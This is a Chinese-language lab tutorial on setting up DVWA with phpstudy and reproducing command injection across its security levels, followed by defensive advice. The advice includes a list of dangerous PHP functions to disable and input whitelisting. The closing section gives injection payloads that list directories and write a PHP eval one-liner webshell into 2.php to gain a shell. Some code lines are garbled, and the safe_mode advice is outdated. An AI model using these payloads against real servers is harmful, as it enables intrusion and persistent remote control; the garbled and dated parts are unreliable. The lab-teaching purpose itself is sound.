命令执行靶场搭建以及漏洞复现&解决办法
1.通过GitHub或者一些存在命令执行的CMS模板,来进行这场实验。
首先,我们搭建一个环境,这里使用 phpstudy+dvwa实现
安装好phpstudy,并且去http://www.dvwa.co.uk官网下载dvwa靶场,并把下载好的源码放入www目录下
在浏览器输入localhost/dvwa进行初始化,这里如果有vps的话,我们可以在自己的服务器上进行搭建。
进行数据库初始化完成之后进入以下页面:
到此,我们的靶场搭建完毕
2.命令执行漏洞复现:
什么是命令执行漏洞?日常的网络访问中,我们常常可以看到某些Web网站具有执行系统命令的功能,比如:有些网站提供ping功能,我们可以输入一个IP地址,它就会帮我们去尝试ping目标的IP地址,而我们则可以看到执行结果。但是如果用户没有遵循网站的本意,而去输入精心构造的指令,可能会对网站本身的功能逻辑产生逆转,导致让目标网站执行恶意命令。
命令执行漏洞分类:
(a).web代码层命令执行
exec(“whoami”);
(b).第三方组件命令执行漏洞
WordPress中用来处理图片的ImageMagick组件
JAVA中的命令注入漏洞(struts2/ElasticsearchGroovy等)
vBulletin 5.x 版本通杀远程代码执行
(c).系统层面命令执行漏洞
MS08-067
bash破壳漏洞
命令执行漏洞产生条件:
命令注入漏洞产生原因有两点
1.用户可以控制输入的内容
2.用户输入的内容被当作命令执行
命令执行常用函数:
反撇号
`` 输出并返回shell结果。
用法:
echo whoami;
system()
system() 输出并返回最后一行shell结果。
用法:
system(‘whoami’)
passthru()
只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 相同点:都可以获得命令执行的状态码
用法:
passthru(‘whoami’)
shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
用法:
shell_exec($_POST[‘system’]);
exec()不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
用法:exec($_POST[‘system’], o u t p u t ) ; p r i n t r ( output);print_r(output);printr(output);
popen()
proc_open()
pcntl_exec()
漏洞复现0x01:
这里提供了一个正常的ping ip地址的入口,那么我们是不是可以执行windows的cmd命令或者linux的shell命令呢,我们可以使用与或运算符:
分析代码我们可以看到,未加任何验证和过滤,直接以cmd方式把参数放入执行:
漏洞复现0x02:
让我们把验证级别调高:
分析代码我们可以知道对于;和&&进行了过滤,改为了空格,但是我们使用单个&照样可以执行命令:
漏洞复现0x03:
这次我们把安全验证调整到高:
分析代码我们可以看出,对于中级的;和&&,对&,;,|,-,$,(,),`,||,进行了验证,但是我们还是可以多次尝试,最后使用 || 成功执行命令:
最后我们看一下最高级别的验证:
我们分析可以知道,ping一个ip地址有ABC段,检查每八个字节是否为一个整数,如果是则执行,不是则返回ERROR: You have entered an invalid IP.
总结:如果想防止这种命令执行,在开发程序时候,尽量不要使用可以执行外部命令的函数方法,如果要使用,针对不同的功能要加不同的验证,这样以防止破坏者使用工具去自动渗透,使用自定义函数或者函数库来代替外部命令的功能。
禁用高危系统函数:
phpinfo() 、eval() 、passthru() 、chroot()、 scandir()、chgrp() 、 chown() 、 shell_exec() 、 proc_open()、proc_get_status() 、 ini_alter() 、ini_alter()、ini_restore()、dl()、 pfsockopen() 、 openlog() 、syslog()、 readlink()、symlink() 、 popepassthru() 、stream_socket_server() 、fsocket() 、 fsockopen()等,
严格过滤特殊字符
从前面的例子可以发现在利用命令执行漏洞时会利用一些特殊的连接符,用来拼接执行的命令。对此,可创建仅包含允许的字符或命令列表的白名单以验证用户输入。
开启safe_mode,safe_mode : php安全模式,通俗的说就是以安全模式运行php在php.ini文件里面设置safe_mode = On即可开启~
衍生:
当然,我们既然已经有了cmd的执行权限,那么我们就可以写入一句话木马或者进行文件传输:
我们可以先使用192.168.0.1&dir&cd ../../../../&tree查看目录结构
可以直接写入一句话:使用192.168.0.1&echo "<?php eval($_POST[cc123]) ?>" > 2.php
成功写入一句话,那么我们尝试去getshell:
成功getshell~